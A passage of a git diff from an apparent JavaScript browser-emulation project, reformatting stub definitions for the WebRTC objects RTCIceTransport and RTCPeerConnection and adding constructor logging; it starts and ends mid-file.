bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "ongatheringstatechange", {configurable:true, enumerable:true, get:function ongatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_get", arguments)}, set:function ongatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "onselectedcandidatepairchange", {configurable:true, enumerable:true, get:function onselectedcandidatepairchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_get", arguments)}, set:function onselectedcandidatepairchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalCandidates", {configurable:true, enumerable:true, writable:true, value:function getLocalCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalCandidates", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalParameters", {configurable:true, enumerable:true, writable:true, value:function getLocalParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteCandidates", {configurable:true, enumerable:true, writable:true, value:function getRemoteCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteCandidates", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteParameters", {configurable:true, enumerable:true, writable:true, value:function getRemoteParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getSelectedCandidatePair", {configurable:true, enumerable:true, writable:true, value:function getSelectedCandidatePair (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getSelectedCandidatePair", arguments)}},'prototype'); +// RTCIceTransport对象 + +bodavm.memory.globalobj['RTCIceTransport'] = function RTCIceTransport() { + console.log_copy('RTCIceTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCIceTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceTransport'], "RTCIceTransport"); +bodavm.memory.globalobj['RTCIceTransport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCIceTransport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCIceTransport', "role", { + configurable: true, + enumerable: true, + get: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "role_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "gatheringState", { + configurable: true, + enumerable: true, + get: function gatheringState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "gatheringState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "ongatheringstatechange", { + configurable: true, + enumerable: true, + get: function ongatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_get", arguments); + }, + set: function ongatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "onselectedcandidatepairchange", { + configurable: true, + enumerable: true, + get: function onselectedcandidatepairchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_get", arguments); + }, + set: function onselectedcandidatepairchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalCandidates", { + configurable: true, + enumerable: true, + writable: true, + value: function getLocalCandidates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalCandidates", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getLocalParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteCandidates", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteCandidates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteCandidates", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceTransport', "getSelectedCandidatePair", { + configurable: true, + enumerable: true, + writable: true, + value: function getSelectedCandidatePair() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getSelectedCandidatePair", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCPeerConnection.js b/env_xbb_lastest_jsdom/env/RTCPeerConnection.js index 3cf11579..645f2520 100644 --- a/env_xbb_lastest_jsdom/env/RTCPeerConnection.js +++ b/env_xbb_lastest_jsdom/env/RTCPeerConnection.js @@ -1,51 +1,406 @@ -// RTCPeerConnection对象 -bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection(){this._boarg= new bodaobj.window.RTCPeerConnection();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); -bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCPeerConnection'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "generateCertificate", {configurable:true, enumerable:true, writable:true, value:function generateCertificate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].undefined, "RTCPeerConnection", "generateCertificate", arguments)}}); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "localDescription", {configurable:true, enumerable:true, get:function localDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "localDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentLocalDescription", {configurable:true, enumerable:true, get:function currentLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentLocalDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingLocalDescription", {configurable:true, enumerable:true, get:function pendingLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingLocalDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "remoteDescription", {configurable:true, enumerable:true, get:function remoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "remoteDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentRemoteDescription", {configurable:true, enumerable:true, get:function currentRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentRemoteDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingRemoteDescription", {configurable:true, enumerable:true, get:function pendingRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingRemoteDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "signalingState", {configurable:true, enumerable:true, get:function signalingState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "signalingState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceGatheringState", {configurable:true, enumerable:true, get:function iceGatheringState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceGatheringState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceConnectionState", {configurable:true, enumerable:true, get:function iceConnectionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceConnectionState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "connectionState", {configurable:true, enumerable:true, get:function connectionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "connectionState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "canTrickleIceCandidates", {configurable:true, enumerable:true, get:function canTrickleIceCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "canTrickleIceCandidates_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onnegotiationneeded", {configurable:true, enumerable:true, get:function onnegotiationneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_get", arguments)}, set:function onnegotiationneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidate", {configurable:true, enumerable:true, get:function onicecandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_get", arguments)}, set:function onicecandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onsignalingstatechange", {configurable:true, enumerable:true, get:function onsignalingstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_get", arguments)}, set:function onsignalingstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "oniceconnectionstatechange", {configurable:true, enumerable:true, get:function oniceconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_get", arguments)}, set:function oniceconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onconnectionstatechange", {configurable:true, enumerable:true, get:function onconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_get", arguments)}, set:function onconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicegatheringstatechange", {configurable:true, enumerable:true, get:function onicegatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_get", arguments)}, set:function onicegatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidateerror", {configurable:true, enumerable:true, get:function onicecandidateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_get", arguments)}, set:function onicecandidateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ontrack", {configurable:true, enumerable:true, get:function ontrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_get", arguments)}, set:function ontrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "sctp", {configurable:true, enumerable:true, get:function sctp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "sctp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ondatachannel", {configurable:true, enumerable:true, get:function ondatachannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_get", arguments)}, set:function ondatachannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onaddstream", {configurable:true, enumerable:true, get:function onaddstream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_get", arguments)}, set:function onaddstream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onremovestream", {configurable:true, enumerable:true, get:function onremovestream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_get", arguments)}, set:function onremovestream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addIceCandidate", {configurable:true, enumerable:true, writable:true, value:function addIceCandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addIceCandidate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addStream", {configurable:true, enumerable:true, writable:true, value:function addStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTrack", {configurable:true, enumerable:true, writable:true, value:function addTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTransceiver", {configurable:true, enumerable:true, writable:true, value:function addTransceiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTransceiver", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createAnswer", {configurable:true, enumerable:true, writable:true, value:function createAnswer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createAnswer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDTMFSender", {configurable:true, enumerable:true, writable:true, value:function createDTMFSender (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDTMFSender", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDataChannel", {configurable:true, enumerable:true, writable:true, value:function createDataChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDataChannel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createOffer", {configurable:true, enumerable:true, writable:true, value:function createOffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createOffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getConfiguration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getLocalStreams", {configurable:true, enumerable:true, writable:true, value:function getLocalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getLocalStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getReceivers", {configurable:true, enumerable:true, writable:true, value:function getReceivers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getReceivers", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getRemoteStreams", {configurable:true, enumerable:true, writable:true, value:function getRemoteStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getRemoteStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getSenders", {configurable:true, enumerable:true, writable:true, value:function getSenders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getSenders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getStats", {configurable:true, enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getStats", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getTransceivers", {configurable:true, enumerable:true, writable:true, value:function getTransceivers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getTransceivers", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeStream", {configurable:true, enumerable:true, writable:true, value:function removeStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", {configurable:true, enumerable:true, writable:true, value:function restartIce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", {configurable:true, enumerable:true, writable:true, value:function setConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", {configurable:true, enumerable:true, writable:true, value:function setLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); +// RTCPeerConnection对象 + +bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection() { + console.log_copy('RTCPeerConnection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.RTCPeerConnection(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); +bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCPeerConnection'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "generateCertificate", { + configurable: true, + enumerable: true, + writable: true, + value: function generateCertificate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].undefined, "RTCPeerConnection", "generateCertificate", arguments); + } +}); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "localDescription", { + configurable: true, + enumerable: true, + get: function localDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "localDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentLocalDescription", { + configurable: true, + enumerable: true, + get: function currentLocalDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentLocalDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingLocalDescription", { + configurable: true, + enumerable: true, + get: function pendingLocalDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingLocalDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "remoteDescription", { + configurable: true, + enumerable: true, + get: function remoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "remoteDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentRemoteDescription", { + configurable: true, + enumerable: true, + get: function currentRemoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentRemoteDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingRemoteDescription", { + configurable: true, + enumerable: true, + get: function pendingRemoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingRemoteDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "signalingState", { + configurable: true, + enumerable: true, + get: function signalingState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "signalingState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceGatheringState", { + configurable: true, + enumerable: true, + get: function iceGatheringState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceGatheringState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceConnectionState", { + configurable: true, + enumerable: true, + get: function iceConnectionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceConnectionState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "connectionState", { + configurable: true, + enumerable: true, + get: function connectionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "connectionState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "canTrickleIceCandidates", { + configurable: true, + enumerable: true, + get: function canTrickleIceCandidates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "canTrickleIceCandidates_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onnegotiationneeded", { + configurable: true, + enumerable: true, + get: function onnegotiationneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_get", arguments); + }, + set: function onnegotiationneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidate", { + configurable: true, + enumerable: true, + get: function onicecandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_get", arguments); + }, + set: function onicecandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onsignalingstatechange", { + configurable: true, + enumerable: true, + get: function onsignalingstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_get", arguments); + }, + set: function onsignalingstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "oniceconnectionstatechange", { + configurable: true, + enumerable: true, + get: function oniceconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_get", arguments); + }, + 